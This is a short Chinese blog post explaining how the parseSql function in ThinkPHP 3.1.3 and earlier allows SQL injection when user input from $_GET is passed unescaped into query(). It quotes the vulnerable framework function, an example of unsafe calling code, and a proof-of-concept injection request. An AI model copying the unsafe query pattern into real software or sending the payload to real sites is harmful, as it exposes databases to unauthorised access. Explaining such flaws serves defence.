ThinkPHP 3.1.3及之前的版本使用不当可造成SQLi

Lib/Core/Model.class.php中解析SQL语句的函数parseSql没有对SQL语句进行过滤,使用不当可导致SQL注入。(哈哈,其实用再安全的框架使用不当都可能造成SQLi)

函数:

复制代码
/**
 * 解析SQL语句
 * @access public
 * @param string $sql  SQL指令
 * @param boolean $parse  是否需要解析SQL
 * @return string
 */
protected function parseSql($sql,$parse) {
    // 分析表达式
    if(true === $parse) {
        $options =  $this->_parseOptions();
        $sql  =   $this->db->parseSql($sql,$options);
    }elseif(is_array($parse)){ // SQL预处理
        $sql  = vsprintf($sql,$parse);
    }else{
        $sql    =   strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));
    }
    $this->db->setModel($this->name);
    return $sql;
}
复制代码

如果使用以下方式编写查询数据库代码,则会造成SQL注入。

$model=M('test');
$m=$model->query('select * from test where id="%s"',$_GET['id']);
dump($m);
die;

可提交以下请求造成SQLi

http://localhost/Main?id=foo" or 1="1

 

posted @   DerMond  阅读(433)  评论(0编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
· 25岁的心里话
点击右上角即可分享
微信分享提示